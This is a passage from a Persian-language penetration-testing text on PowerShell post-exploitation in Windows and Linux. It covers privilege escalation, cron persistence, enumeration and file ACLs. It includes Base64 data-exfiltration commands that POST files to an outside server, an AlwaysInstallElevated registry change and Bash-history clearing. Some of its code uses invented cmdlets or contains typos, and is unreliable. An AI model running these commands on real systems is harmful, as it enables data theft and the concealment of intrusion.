ProcessName). Exploiting..." 
 } 
} 

برا  ند یهر فرآ  پتیاسکر  نیا بررس   DLL Hijacking  یاحتمال  یهافرصت   یدر حال اجرا را    ی در صورت وجود 

 : میکد استفاده کن ی اجرا یبرا PowerSploitاز ماژول  میتوانی م  نیکند. ما همچنی م

• Invoke-DllInjection:  کی DLL  را بهProcess ID  کند ی م ق یشما تزر یانتخاب. 

• Invoke-ReflectivePEInjection:  لیفا  کی  Windows PE (DLL/EXE)  فرآ در    ند یرا 

PowerShell    به صورتReflective  به طور    ایکند  ی م  بارگذاریReflective    یکDLL    ند یفرآ   کی را به  

 .کند ی م  قیاز راه دور تزر

• Invoke-Shellcode :  Shellcode    را بهProcess ID    در    ا یانتخاب خودPowerShell    به صورت لوکالی

 .کند ی م  قیتزر

• Invoke-WmiCommand:  کی  PowerShell ScriptBlock   رو بر  اجرا    وتریکامپ  یرا  نظر  مورد 

 گرداند.ی برم C2کانال  کی به عنوان  WMIفرمت شده آن را با استفاده از   یکند و خروجی م

Registry manipulation 

کاربر استفاده کرد. به عنوان    ازاتیمربوط به امت   یستریرج  ماتیتنظ   یدستکار  یتوان برای م  PowerShellاز  

 شود: بالابردن سطح دسترسیتواند منجر به ی م  AlwaysInstallElevated  یستر یرج د یکل  رییمثال، تغ

# Modify the AlwaysInstallElevated registry key 
$regPath = "HKCU:\Software\Policies\Microsoft\Windows\Installer" 
$regName = "AlwaysInstallElevated" 
New-Item -Path $regPath -Force 
Set-ItemProperty -Path $regPath -Name $regName -Value 1 

دهد ی قرار م   1 یرا رو   AlwaysInstallElevated  د ی کند و کلی م   جاد یلازم را ا  یستر یرج  ریمس  پتیاسکر  نیا

 بالا شود.  ازاتیبا امت ییهاتواند منجر به نصب بسته ی که م
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Exploiting weak folder permissions 

  PowerShellمورد سوء استفاده قرار داد. از    بالابردن سطح دسترسی،  ی توان برایرا م   ف یپوشه ضع  ی مجوزها

 ناامن استفاده کرد:  یبا مجوزها  ییهادایرکتوری  ییشناسا ی توان برای م

# Identify folders with weak permissions 
Get-ChildItem -Path C:\ -Recurse | Where-Object { 
     $_.PSIsContainer -and (Get-Acl $_.FullName).Access | Where-Object 
{ $_.IdentityReference -eq "Users" -and $_.FileSystemRights -match 
"Modify" } 
} 

کند و در  ی ( را جستجو مUsersبرای    Modifyدسترسی  )  فیضع  ی با مجوزها  هاییدایرکتوری   پتیاسکر  نیا

 دهد.یها هشدار مآن  افتنیصورت 

Scheduled task exploitation 

Scheduled Task    م  ندوزیو های برای را  از    یدستکار  بالابردن سطح دسترسی   یتوان    PowerShellکرد. 

 استفاده کرد: ها   Scheduled Taskو اصلاح   ییشناسا ی توان برای م

# Identify scheduled tasks 
Get-ScheduledTask | Where-Object { $_.Principal.UserId -eq "NT 
AUTHORITY\SYSTEM" } | ForEach-Object { 
     # Exploit scheduled task (replace with your payload) 
     Write-Host "Scheduled task $($_.TaskName) is running as SYSTEM. 
Exploiting..." 
} 

صورت    Scheduled Task  ،پتیاسکر  نیا به  که  و    SYSTEMهایی  شده  سطح    ی برا  یفرصتاجرا  بالابردن 

 .کند ی م شناساییکند را در صورت وجود ی فراهم م دسترسی

Exploiting unattended installations 

Unattended Installation   حاو است  رمزها  ی ممکن  مانند  حساس  در    ی اطلاعات  بدون    یهافایل عبور 

 استفاده شود: ییهافایل  نیچن  یجستجو  یتواند برا ی م PowerShellباشد.  ی رمزگذار
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# Search for unattended installation files 
Get-ChildItem -Path C:\ -Recurse -Filter "unattend.xml" -File | 
ForEach-Object { 
     # Exploit unattended installation file (replace with your payload) 
     Write-Host "Unattended installation file found at $($_.FullName). 
Exploiting..." 
} 

جستجو    یبه صورت بازگشتاند را  ذخیره شده   Cدر درایو    unattend.xml  ی که با نامیهافایل  ،پتیاسکر  نیا

 دهد.ی م  نمایش، ی باشد حساس  موارد  ی حاوتواند آن که می اطلاعات  ،و در صورت وجود  نموده 

ممثال  نیا نشان  برا  PowerShellتوان  ی دهد که چگونه می ها    ی هاستم یدر س   بالابردن سطح دسترسی  ی را 

Microsoft Windows  د یها فقط باک ی تکن  نیاست که ا  ی نکته ضرور  ن یحال، توجه به ا  ن یاستفاده کرد. با ا  

مربوط    یهاشوند. تلاش   دهو مجاز استفا   یقانون  یهاط ی نفوذ در مح  شیآزما  ای  یهک کردن اخلاق  یوهایدر سنار

  ران یداشته باشد. متخصصان و مد به همراه    ید یتواند عواقب شد ی است و م   یرقانونیغ   به بالابردن سطح دسترسی،

 کنند.  من یها را کنترل و استمیبه طور فعال س  د یبا رمجازیغ یها و دسترس یریپذ بی از آس  یر یجلوگ یبرا  یتیامن

Summary 

ا بررس   نیدر  به  ما  انداز  یفصل،  از    Post-Exploitationجهت    ایپو  یچشم  استفاده  در    PowerShellبا 

بالابردن سطح    ق ی، ما از طریتی امن  یهای ابیمرحله در ارز  ن یا  تیبر اهم  د ی. با تأکمیپرداخت  ندوزیو  کروسافتیما

  PowerShell  استفاده از، که همه با  Data Exfiltration  یهاک یو تکن  Lateral Movement،  دسترسی

  ی گرفته تا دستکار  هاسرویس  ماتیو سوءاستفاده از تنظ  فی ضع  ی. از کشف مجوزهامیکرد  شیمایشد، پی م  انجام

 ظاهر شد.   ی هکرها و مدافعان اخلاق ی برا ی اصل یبه عنوان ابزار PowerShell، حذف ردپاهاو   یستر یدر رج
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 Post-Exploitation in Linux  -  چهاردهمفصل 
ا   ی بررس   Post-Exploitationرا در قلمرو   Linux و PowerShell نیقدرتمند ب  ییفصل، ما هم افزا  ن یدر 

  PowerShell  یاست، سازگار  نوکسیل  ی بوم  یتحت سلطه ابزارها  ی که به طور سنت  یاکرد. در منظره   میخواه

عنوان   باز  رییتغ  کیبه  م  یدهنده  و  ی ظاهر  امن  ک یشود  به    Post-Exploitation  یمانورها  ی برا  ی تیابزار 

در    یحرکت و دستکار  یبرا PowerShell از  کیفصل به استفاده استراتژ  نیدهد. ای ارائه م  ی تیمتخصصان امن

 . پردازدی م دسترسیپس از   نوکس یل یهاط یمح

و سوء استفاده    Lateral Movement،  بالابردن سطح دسترسیرا در    PowerShellسفر، نقش    نیبا شروع ا

گرفته تا    فایل  یمجوزها  یکاربران و دستکار  Profilingکرد. از    میکشف خواه  نوکسیل  یهاستمیها در س از داده 

  ی ساز  هیدر شب  PowerShell  یو اثربخشاشاره شده    Post-Exploitationو    ها یریپذ ب یاز آس   ی برداربهره

 . هیمدی را نشان م ی واقع  یایدر دن  داتیتهد 

 است: ر یشود به شرح زی ها پرداخته مفصل به آن  نیکه در ا  یموضوعات

• The role of post-exploitation in Linux on a penetration test 

• Post-exploitation on Linux 

• Profiling a user with PowerShell in Linux 

• File permissions in Linux 

• Using PowerShell for privilege escalation in Linux 

The role of post-exploitation in Linux on a penetration test 

Post-Exploitation  آزما  ک ی که متخصصان    ییاست، جا  نوکسیل  یهاستم ینفوذ در س   شیمرحله مهم در 

  بالابردن سطح دسترسی ،  یداریپا  جاد یا  ی ها را برا از فرصت  ی به دست آمده و بهره بردار   یدسترس   زان یم  ی تیامن

آور  ارز  یو جمع  ارزشمند  ای م  یابیاطلاعات  از    نیکنند.  آزمای م  خر  ه یاول  دسترسیمرحله پس  به  و    ش یدهد 

 کنند. یساز ه یرا شب  یواقع ی ایحمله در دن یوهای دهد سناری کنندگان اجازه م

  جاد ی است. مهاجمان به دنبال ا  ی داریو حفظ پا  یابیدست  نوکس، یدر ل  Post-Exploitation  ی از اهداف اصل  یکی

پا  کی س   داریحضور  ا  شده   Compromise  ستمیدر  ای م  نیهستند.  شامل    ح اصلا  ، Backdoor  جادی تواند 

 مخرب باشد. یهاس ینصب سرو ای Startup یهاپتیاسکر

  نوکسیل  یهاستمیاست. س   ی در هنگام بهره بردار  یاصل  ی از تمرکزها  گرید  ی کی  بالابردن سطح دسترسی

کنندگان    شی. آزماخود را دارند خاص    ازاتیامت  کی هر  که    کنند ی کار م  یمختلف کاربر   یهابا حساب
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دستورات مهم    ی اجرا  ا ی  ماتیدر تنظ  ی حساس، دستکار  یهابه داده   ی ابیدست  یخود را برا  ازاتیقصد دارند امت

افزاستمیس  تکن  شی،  این بخش هاکی دهند.  به  مربوط  آس   ی  از  استفاده  است شامل سوء   ایها  یریپذ ب یممکن 

 .نشده استمحافظت ها سرویس هایی باشد که بدرستی از آن  اینادرست تنظیمات 

 یهاداده  ی ور کنندگان با هدف جمع آ  ش یدارد. آزما Post-Exploitationدر  یاطلاعات نقش مهم ی جمع آور

در حال    یندهایشبکه و فرآ  ماتی، تنظ ی، مانند حساب کاربرشده  Compromise  ستمیارزشمند در مورد س 

 . ند کنی اطلاعات استفاده م  نیا  راج استخ  ی اغلب برا  یسفارش   یهاپتیو اسکر  PS   ،NetStatمانند   یی از ابزارها  ،اجرا

Linux Post-Exploitation    شاملLateral Movement  هنگام است.  شبکه  داخل  تست  که    ی در  یک 

تر کشف شبکه گسترده   یبرا  وستهی به هم پ  یهاستمیبه دنبال عبور از س   رد، یگی مدسترسی    ستمیس   ک ی  بهنفوذگر  

 SSHمانند    ییهاک ی از تکن  جهت اکسپلویت،   یاهداف اضاف  ییو شناسا  Lateral Movement  ی. برا خواهد بود

Tunneling ،Port Forwarding  وPivoting شود.ی استفاده م 

Data Exfiltration  مهم در طول    ینگران  ک یPost-Exploitation  استخراج اطلاعات    نفوگران  است. تست

  ی ساز  هیشب  ی تیامن  یکنترل ها  یاثربخش  یابیارز  یمحرمانه را برا  یهال یفا  ای  کاربران  Credentialحساس مانند  

که    یخارج  ی ها را به سرورهاممکن است داده   یسفارش   یهاپت یاسکر  ای  scp  ،rsyncمانند    ییکنند. ابزارهای م

 منتقل کنند.  شوند،یکنترل م   تست نفوذگر توسط 

Covering Tracks  ی جنبه ضرور   ک ی  Post-Exploitation  پاک    هاکننده شیاست. هدف آزما  نوکس یدر ل

شامل اصلاح  بخش    نیاست. ا  ییاز شناسا  ی ریجلوگ  یبرا  شانیهات یآثار فعال  ریها و سالاگ   ی دستکار  ایکردن  

 است. Auditing یهاسمیفرار از مکان ایکردن  رفعالیفرمان و غخط  History، پاک کردن لاگ یهالیفا

Post-Exploitation   ل تکن  نوکسیدر  از  استفاده  با  ابزارها   یدست  یهاک یاغلب  م  یو  انجام  شود.  ی خودکار 

شامل  یابزارها زبان  Metasploit   ،Empireمتداول  اسکر  یهاو  پا  پتیمختلف  است.    Bash  ای  تونیمانند 

 Linux  د یمؤثر، با  طوربه    Post-Exploitation  نیدر ح   ط یمح  ی و دستکار  شی مایپ  یبرا   ی تیمتخصصان امن

System Internals را درک کنند. یت یامن یهاسم یو مکان فایل، ساختار 

بالابردن سطح  ،  یداریپا  جادینفوذ شامل افرآیند تست  در    نوکس یدر ل  Post-Exploitationبه طور خلاصه،  

 است.   Covering Tracksو   Lateral Movement ،Data Exfiltrationاطلاعات،  ی ، جمع آوردسترسی

Post-exploitation on Linux 

PowerShell   محدود است.    نوکسیهمراه است و عملکرد آن در ل  ندوز یو   یهاط یدر درجه اول با مح

  شود(ی شناخته م  PowerShell 7)که اکنون به عنوان    PowerShell Core  یحال، با معرف  نیبا ا
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  Post-Exploitation  یبرا   PowerShell، استفاده از  است  PowerShell  از   Cross-Platformنسخه    که 

ندارد، اما    ندوز یو  گی گسترد  ی به عملکرد  نوکس یدر ل  PowerShell. اگرچه  گردید   ریپذ   ن امکانیز    نوکس یدر ل

 استفاده شود.  Post-Exploitation یخاص در ط یکارها  ی تواند برای هنوز هم م

Establishing persistence 

توان  ی در فواصل منظم، م  PowerShell  پتیاسکر  کی   ی اجرا  ی برا  Cronکار    کی   ی ، با راه اندازنوکس یدر ل

 : آورده شده است Basic Cron Job  کیاز   یانمونه  نجای. در اایجاد نمودرا  یداریپا

# Edit crontab 
crontab -e 
# Add the following line to run a PowerShell script every minute 
* * * * * /usr/bin/pwsh /path/to/persistence.ps1 

 باشد. Backdoor  میتنظ  ای  یحفظ دسترس  یبرا  ی کد  ی تواند حاو یم  persistence.ps1پتیاسکر

Privilege escalation 

PowerShell  از    ی کیاستفاده شود.    بالابردن سطح دسترسیبالقوه    یهافرصت   ی بررس   ی تواند برا یم   نوکس یدر ل

 به اسکریپت زیر توجه نمایید:بالا در حال اجرا هستند.  ازاتیاست که با امت ییندهای فرآ ییشناسا ، جیرا یهاروش 

# Check for processes running with elevated privileges 
Get-Process | Where-Object { $_.Elevated -eq $true } | Select-Object 
ProcessName, UserName 

اهداف بالقوه    ییکند و به شناسای م  ستیرا ل  که دارای امتیازات بالا هستند را  در حال اج  یندهایفرآ  پتیاسکر  نیا

 کند.ی کمک م بالابردن سطح دسترسی یبرا

Enumerating users and groups 

PowerShell   ها استفاده شود.  اطلاعات در مورد کاربران و گروه  یجمع آور  ی تواند برایم  نوکس یدر ل 

# List all users and their groups 
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Get-LocalUser | ForEach-Object { 
 $user = $_ 
 $groups = Get-LocalGroup -Member $user.Name | Select-Object 
-ExpandProperty Name 
 "$($user.Name) : $($groups -join ', ')" 
} 

 کند.ی م  یابیرا باز هااعضای گروه و  یاطلاعات مربوط به کاربران محل  بالا پتیاسکر

Network enumeration 

PowerShell   شبکه    یهارابط   ستیاطلاعات شبکه کمک کند. به عنوان مثال ل  شناساییتواند به  یم   نوکسیدر ل

 : باشد بوسیله اسکریپت زیر قابل مشاهده می  هاآن  ماتیو تنظ

# List network interfaces and configurations 
Get-NetIPAddress | Select-Object InterfaceAlias, IPAddress, 
PrefixLength 

  م یتوانی م   نیدهد. همچنیارائه م   Prefixو طول    IP  یها شبکه، آدرس   یهادر مورد رابط   یاطلاعات  پتیاسکر  نیا

 : میاستفاده کن IPگرفتن اطلاعات آدرس   ی برا ر یاز موارد ز

# List network interfaces and configurations 
Invoke-Expression -Command "ip addr show" 

File and directory enumeration 

PowerShell  به    آوری  جمع  نوکسی ل  ستمیها را در س ی رکتوریها و دافایلتواند اطلاعات مربوط به  ی م کند. 

 : باشد بوسیله اسکریپت زیر قابل مشاهده می  etc/ی موجود در دایرکتوری هافایل  ستیعنوان مثال، ل

# List files in the /etc directory 
Get-ChildItem -Path /etc 

 د.دهی م نشانمشخص شده   ریها را در مسی رکتوریها و دافایل  پتیاسکر نیا

 

 



 
 

 
 

 پاورشل برای تست نفوذ آشنایی با 

Securityworld.ir  شرکت دهکده امن فناورانه صبا 

Data exfiltration 

PowerShell  ی رمزگذاردر این خصوص،  مثال    ک یها استفاده شود.  استخراج داده   یتواند برای م  نوکس یدر ل  

 است: یسرور خارج ک یو ارسال آن به  Base64در    لیفا کی

# Encode and exfiltrate a file 
$fileContent = Get-Content /path/to/sensitive-file.txt -Raw 
$encodedContent = [Convert]::ToBase64String([System.Text. 
Encoding]::UTF8.GetBytes($fileContent)) 
Invoke-RestMethod -Uri "https://snowcapcyber.com/upload" -Method 
POST -Body $encodedContent 

سرور کنترل شده مهاجم    ک یکند و آن را به  ی م  یرمزگذار  Base64پرونده را در    کی   یمحتوا  پتیاسکر  نیا

 کند.ی ارسال م

Covering tracks 

PowerShell  ی ا. نمونه سیستم، ردپاهای موجود را از بین ببرد  یهالاگحذف    ا یتواند با اصلاح  ی م نوکس ی در ل  

 است: به شکل زیر  Bash  خیاز پاک کردن تار

# Clear Bash history 
Clear-History 

از بین بردن  کند و با پاک کردن سوابق دستورات اجرا شده به  ی فرمان را حذف مخط    History  پتیاسکر  نیا

 کند.ی کمک م اردپا

ممکن    Post-Exploitation  یبرا   نوکسیدر ل  PowerShellاست که استفاده از    ت ینکته حائز اهم  نیتوجه به ا

 ی هاو زبان   ی بوم  یابزارها  ی به طور معمول دارا  نوکسیل   یهاستمیقدرتمند نباشد. س   ایآشنا    ندوزی است به اندازه و

که    Bashمانند    پتیاسکر بوده رایج هستند  ل  PowerShellکه    یهستند. در حال  رتکپارچه یو    تر    نوکس یدر 

سناری م در  ابزارها  یوهایتواند  از  استفاده  و  درک  شود،  استفاده  ل  یخاص  است.    نوکسی خاص  مؤثرتر  اغلب 

 را بدانند.  ط یو مح  نه یزم د ی با نوکسیدر ل  Post-Exploitation یهاک یهنگام انتخاب تکن ی تیمتخصصان امن

Profiling a user with PowerShell in Linux 

Profiling   کاربر با    ک یPowerShell  ها، ت یدر مورد فعال  ق یاطلاعات دق  ی شامل جمع آور  نوکس یدر ل

  Profiling  یرا برا  ی ابزارها و دستورات بوم  نوکسیکه ل  یکاربر است. در حال   یستمیمجوزها و تعاملات س 
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مختلف،    یهادر پلتفرم   پتیرابط سازگار و قابل اسکر  کی تواند با ارائه  ی م   PowerShellدهد،  ی ارائه م   ستمیس 

 کند.  ل یها را تکمآن

User information 

PowerShell  ل به  ی م  نوکس یدر  مربوط  اطلاعات  کاربر  کیتواند  نام  از جمله  ،  UID   ،GID،  یکاربر خاص، 

 کند.    یابیرا باز Shellو    Home  یرکتور یدا

# Get information about a specific user 
Get-User -Name andrewblyth 

 کند.ی م ی ابیباز andrewblythبه نام  یکاربر ی اطلاعات کاربر را برا Get-User  یفرض cmdlet نیا

Running processes 

PowerShell   موضوع   نیکند. ا  لتر یها را بر اساس کاربر فدر حال اجرا را فهرست کرده و آن   یندهایتواند فرآی م  

 : د یکاربر خاص داشته باش  کی مرتبط با  ی ندهایاز فرآ عیمرور سر  ک یدهد تا ی اجازه م

# Get processes for a specific user 
Get-Process | Where-Object { $_.UserName -eq "andrewblyth" } 

 کند.ی م  ستیرا ل Andrewlythکاربر    یدر حال اجرا برا ی ندهایفرآ پتیاسکر نیا

Network connections 

PowerShell   در مورد اتصالات شبکه مرتبط با کاربر را ارائه دهد.   نش یتواند بیم  نوکس یدر ل 

# Get network connections for a specific user 
Get-NetTCPConnection -OwningUser "andrewblyth" 

 دهد.ی را نشان م Andrewlythمتعلق به کاربر  TCPدستور اطلاعات مربوط به اتصالات  نیا

File and directory access 

Profiling    به فهرست است.    ی کاربر و دسترس   فایلشامل درکPowerShell   ها و  فایل   ستیل  یتواند برای م

 دارد استفاده شود: ی که کاربر به آن دسترس  ییهای رکتور یدا
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# List files and directories for a specific user 
Get-ChildItem -Path /home/andrewblyth 

 دهد.ی ارائه م  Andrewlythکاربر،  Homeدایرکتوری  ها را در ی رکتوریها و دافایل از  ی ستیل پتیاسکر نیا

Installed software 

PowerShell  امکان را فراهم    نیاستفاده کند و ا  نوکس ی ل  یهاستمی نصب شده در س   ی تواند از نرم افزارهای م

-get  ی فرض  cmdlet  کی با استفاده از    ی مثال  نجایبگذارد. در ا  ش یکاربر را به نما  ی نرم افزار  ط یکند تا محی م

stalledsoftware آورده شده است: 

# Get installed software for a specific user 
Get-InstalledSoftware -User "andrewblyth" 

 کند.ی م  ی ابیرا باز Andrewlythکاربر   ینصب شده برا  یاز نرم افزارها یستیل  cmdlet نیا

Recent activities 

PowerShell  کاربر    ریاخ  یهات یاطلاعات درباره فعال  یآورجمع   یرا برا  ستمیس   یهالاگ  تواند ی م  نوکسیدر ل

 است: به شکل کاربر   کی ی برا ر یورود اخ ی دادهایرو یاب یمثال باز کیجستجو کند.  

# Get recent login events for a specific user 
Get-WinEvent -LogName auth.log -FilterXPath "*[System[(EventID=1) and 
EventData[Data[@Name='user']='$andrewblyth]]]" -MaxEvents 10 

 کند.  ی م  یابیباز auth.log  لیرا از فا andrewblythکاربر   یآخر برا  تیاحراز هو  دادیرو 10مثال  نیا

Data exfiltration 

PowerShell  ی تواند برای م  Data Exfiltration  مختلف استفاده شود.    یهاک یبا استفاده از تکن  نوکسی در ل

مثال    کی  نجایشبکه است. در ا  قیها از طرو ارسال آن  Base64ها در  داده   یکدگذار  ج،یرا  یهااز روش   یکی

 :آورده شده است یفرض
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# Encode and send data to a remote server 
$data = "SensitiveData" 
$encodedData = [Convert]::ToBase64String([System.Text.Encoding]::UTF8. 
GetBytes($data)) 
Invoke-WebRequest -Uri "https://snpowcapcyber.com.com/upload.php" 
-Method POST -Body $encodedData 

در    SensitiveDataرشته    پتیاسکر  نیا به  ی م   یرمزگذار  Base64را  را  آن  و  سرور تحت کنترل    کیکند 

 کند.ی مهاجم ارسال م

  دهند،ی نشان م   نوکس یکاربر در ل  Profiling  ی را برا  PowerShellشده کاربرد بالقوه  ارائه   یهاکه مثال   ی در حال

است که معمولاً    ی بزارها و دستورات بوماز ا  یغن  ستمیاکوس   یدارا   نوکس ی که ل  میمهم است که توجه داشته باش 

اغلب اطلاعات لازم را    var/log/در    logو    netstatو    ps  ،lsمانند    ی . دستوراتشوند ی کارها استفاده م  نیا  یبرا

  ی کارها یبرا   PowerShellناهمگون که    یهاط یحال، در مح  نیدهند. با ای ارائه م  PowerShellبه    از یبدون ن

م  گرید پلتفرم  تیماه  شود،ی استفاده  م   ی چند  اسکر  یسازگار  تواند ی آن  اتوماس   یسینوپتیدر  در    ون یو 

  ط یبا توجه به شرا  د یبا  PowerShellبا    نوکس یکاربر در ل  کی  Profilingارائه دهد.    تلف مخ  یهاعاملستمیس 

 . ردیقرار گ یشود، مورد بررس ی که در آن استفاده م  یط یمح  نهیخاص و زم

File permissions in Linux 

PowerShellی شود، با معرف ی شناخته م  ندوز یو  یهاط یمح  ی برا  پتیزبان اسکر  ک یبه عنوان    ی، که به طور سنت  

Core PowerShell (PowerShell 7)  گسترش داده است. در    نوکسیل  یهاستم یخود را در س   یهات یقابل

ل  یحال بوم  نوکسیکه  دستورات  و  ابزارها  به  اول  درجه  دا  فایل  یمجوزها  یبرا   یدر  است،    یمتک  ی رکتوریو 

PowerShell  رابط    ک یتواند  ی مScripting   ی، ما بررس نجایمختلف ارائه دهد. در ا  یهاعاملستمیثابت را در س  

 تعامل داشته باشد. فایل  ی تواند با مجوزهای م  نوکسیدر ل  PowerShellکرد که چگونه  میخواه

Viewing file permissions 

PowerShell   را با استفاده از    لیفا  یدهد تا مجوزهای به کاربران اجازه م  نوکس یدر لGet-Acl    .مشاهده کنند

 : د یریرا در نظر بگ  ر یمثال ز
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# Get file permissions for a specific file 
Get-Acl /path/to/file.txt 

  ت یمربوط به مالک  اتیکند و جزئی م  یابیمشخص شده باز  فایل  ی( را برا ACL)   یکنترل دسترس   ست یدستور ل  نیا

 دهد.ی و مجوزها را نشان م

Granting file permissions 

  زیر مربوط به  گروه استفاده کرد. مثال  ایکاربر    کیخاص به    یمجوزها  یاعطا  یتوان برای م   PowerShellاز  

 کاربر است:   کیبه مجوز خواندن و نوشتن  یاعطا

# Grant read and write permissions to a user 
$filePath = "/path/to/file.txt" 
$user = " andrewblyth " 
$rule = New-Object System.Security.AccessControl. 
FileSystemAccessRule($user, "Read, Write", "Allow") 
(Get-Acl $filePath).AddAccessRule($rule) | Set-Acl $filePath 

موجود    ی دهد مجوزهای اجازه م  Andrewlythکند که به کاربر  ی م   جاد یا  د یجد   یقانون دسترس   ک ی  پتیاسکر  نیا

 .سد یمشخص را بخواند و بنو فایل در 

Modifying file permissions 

PowerShell  اضافه    زیر مربوط به   استفاده شود. مثال  فایلموجود در    ی اصلاح مجوزها  یتواند برایم   نوکس یدر ل

 گروه است: کی به  ی اجرا یکردن مجوزها

# Add execute permissions to a group 
$filePath = "/path/to/file.sh" 
$group = "developers" 
$rule = New-Object System.Security.AccessControl. 
FileSystemAccessRule($group, "ExecuteFile", "Allow") 
(Get-Acl $filePath).AddAccessRule($rule) | Set-Acl $filePath 

دسترس   ک ی  پتیاسکر  نیا م  یقانون  اضافه  گروه  ی را  به  که  م  developersکند    فایل دهد  ی اجازه 

 مشخص شده را اجرا کنند.  پتیاسکر
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Revoking file permissions 

PowerShell استفاده شود.   فایل یحذف مجوزها ایلغو  ی تواند برای م ن یهمچن 

# Remove write permissions from a user 
$filePath = "/path/to/data.txt" 
$user = "alice" 
$acl = Get-Acl $filePath 
$rule = $acl.Access | Where-Object { $_.IdentityReference -eq $user 
-and $_.FileSystemRights -eq "Write" } 
$acl.RemoveAccessRule($rule) | Set-Acl $filePath 

 کند.ی و حذف م  ییشناسا ،مشخص شده فایلدر    aliceکاربر  ی قانون اجازه نوشتن را برا پتیاسکر نیا

Changing ownership 

PowerShell  به   فایل  کی صاحب  رییدر حال تغاسکریپت زیر  کند.  ل یرا تسه فایل  ک ی 7ت یمالک ریی تواند تغی م

 است:  یگر یکاربر د

# Change file ownership to a different user 
$filePath = "/path/to/file.txt" 
$newOwner = "andrewblyth" 
(Get-Acl $filePath).SetOwner([System.Security.Principal.NTAccount] 
$newOwner) | Set-Acl $filePath 

 .د دهی م  تغییر andrewblythمشخص شده را به کاربر  لیمالک فا پتیاسکر نیا

Checking effective permissions 

PowerShell  تواند  ی م  نوکسیدر لEffective Permissions  کند. مثال    ی بررس   فایل   کی کاربر را در    ی برا

 : د یریبگ  در نظر  را ریز

# Check effective permissions for a user 
$filePath = "/path/to/document.pdf" 

 
7 ownership 
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$user = "guest" 
(Get-Acl $filePath).Access | Where-Object { $_.IdentityReference -eq 
$user } 

 کند.ی م یابیمشخص شده باز  فایلدر  مهمان کاربر را   ی برا Effective Permissionsدستور   نیا

Inheriting permissions 

است، استفاده    دهیبه ارث رس ها    Child Objectکه توسط    ییمجوزها  ی کربند یپ  یتوان برا ی م  PowerShellاز  

 آن است:  Parentبه ارث بردن مجوزها از  یبرا  یرکتور یدا ک ی یکربند یپمربوط به ،  زیر کرد. مثال

# Configure directory to inherit permissions 
$directoryPath = "/path/to/folder" 
$acl = Get-Acl $directoryPath 
$acl.SetAccessRuleProtection($false, $true) 
Set-Acl $directoryPath $acl 

خود به    Parentدهد مجوزها را از  ی کند و به آن اجازه می م رفعالیرا غ  ی رکتور یدا Protection  پتیاسکر  نیا

 ارث ببرد. 

Checking Access Control Lists (ACLs) 

PowerShell  یکنترل دسترس   یهای تواند تمام ورود یم   نوکسیدر ل   (ACE  را در )ک ی  ACL    فهرست کند. مثال

 : د یریرا در نظر بگ  ریز

# List all ACEs in an ACL 
$filePath = "/path/to/data.txt" 
(Get-Acl $filePath).Access 

  ی که دستورات بوم  ی دهد. در حالی م شیو نما  ی ابیمشخص شده باز  فایل   ی برا  ACLرا در   ACEدستور تمام    نیا

شوند، ی استفاده م   فایل   یمجوزها  ت یریمد   یبه طور معمول برا   getfaclو    chmod   ،chownمانند    نوکس یل

PowerShell  دهد. متخصصان  ی ناهمگن را ارائه م  یهاط یدر مح  ژه یثابت، به و  ک یپتیتجربه اسکر  کی   نوکس یدر ل

ب  یتیامن انتخاب  با  تیریمد   یبرا  PowerShellو    ی بوم  یابزارها  نیهنگام  پرونده  و    نه یزم  د یمجوز 

 .رند یخود را در نظر بگ  نوکسیل یهاستم یالزامات خاص س 
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Using PowerShell for privilege escalation in Linux 

PowerShellبا    نوکسیل  یهاستم یخود را به س   یمرتبط است، دسترس   ندوز یو یهاط یبا مح  ی، که به طور سنت

PowerShell Core  ی س یبرنامه نو  یهاو زبان   یبوم   یمعمولاً به ابزارها  نوکسیکه ل  یگسترش داده است. در حال  

قدرتمند به   ی تواند افزودنیم   نوکس یدر ل PowerShellاست،  ی متک  بالابردن سطح دسترسی  ی برا  Bashمانند 

 باشد.  یتی امن یمجموعه ابزارها 

Checking the current user’s privileges 

  نوکس یدر ل PowerShellاست.  ی ضرور  ی کاربر فعل ازاتیدرک امت  ، بالابردن سطح دسترسی ی قبل از تلاش برا

 کند:  یابیرا باز  یاطلاعات کاربر فعلتواند ی م

# Check current user's privileges 
whoami 

خود    ازاتیدر مورد امت  هیاول   نش یب  یامکان را برا   نیدهد و ای را ارائه م   ی کاربر فعل  یدستور ساده نام کاربر  نیا

 کند.ی فراهم م 

Enumerating local groups and users 

  ی توان برا ی م   PowerShellاست. از    بالابردن سطح دسترسیگام مهم در    کی  یکاربران محلها و  گروه   ییشناسا

 ها استفاده کرد: آن  یو اعضا  یمحل  یهاگروه  شناسایی

# Enumerate local groups and their members 
Get-LocalGroup | ForEach-Object { 
     $group = $_ 
     Write-Host "Group: $($group.Name)" 
     Get-LocalGroupMember -Group $group.Name 
} 

بالابردن سطح    ی اهداف بالقوه برا  ییکند و به شناسای م  ست یها را لآن   ی و اعضا  یمحل  یهاهمه گروه   پتیاسکر  نیا

 کند.ی کمک م دسترسی

Checking sudo configuration 

است.    ی اتیبالا ح  ازاتیدستورات با امت  ی اجرا  یبرا   ییهافرصت   ییشناسا  یبرا   sudo  ی کربند یپ  یبررس 

 استفاده کرد:  sudoers لیمشاهده فا یتوان برای م PowerShellاز 
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# Check sudoers file 
cat /etc/sudoers 

را    sudo  ازات یامت  ی کاربران و دستورات دارا   یکربند یدهد و پ ی م  شیرا نما  sudoers  ل یفا  ات یدستور محتو  نیا

 دهد.ی نشان م

Checking executable file permissions 

مجوزها  ییاجرا  یهافایل  ییشناسا برا  ییهافرصت   LAX  یبا  دسترسی  ی را  سطح  م  بالابردن  کند.  ی فراهم 

PowerShell  استفاده شود:  ییها با مجوز اجرافایل  ی جستجو ی تواند برای م 

# Find executable files with lax permissions 
Get-ChildItem -Path / -type f -executable | ForEach-Object { 
     $file = $_ 
     Write-Host "Executable File: $($file.FullName)" 
} 

  ستیهستند، ل  ف یبالقوه ضع  ی مجوزها  ی را که دارا  یو موارد   نمودهرا جستجو    ییاجرا  یهافایل   پتیاسکر  نیا

 کند.ی م

Exploiting weak service configurations 

ها از آن   بالابردن سطح دسترسی  ی توان برای باشند که مپیکربندی نادرست    ی ممکن است دارا  هاسرویس از    یبرخ

 ها سرویس   ییتواند به شناسای م   PowerShell  همانطور که در اسکریپت زیر نشان داده شده است،   . نموداستفاده  

 ها کمک کند:آن  ماتیو تنظ

# Check for services with weak configurations 
Get-Service | ForEach-Object { 
 $service = $_ 
 Write-Host "Service: $($service.DisplayName), StartType: 
$($service.StartType)" 
} 

پیکربندی با    هاسرویس  ییو امکان شناسا  نموده  ستیها را لآن   Startو انواع    هاسرویس  پتیاسکر  نیا

 کند. ی را فراهم منادرست 
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Exploiting crontab entries 

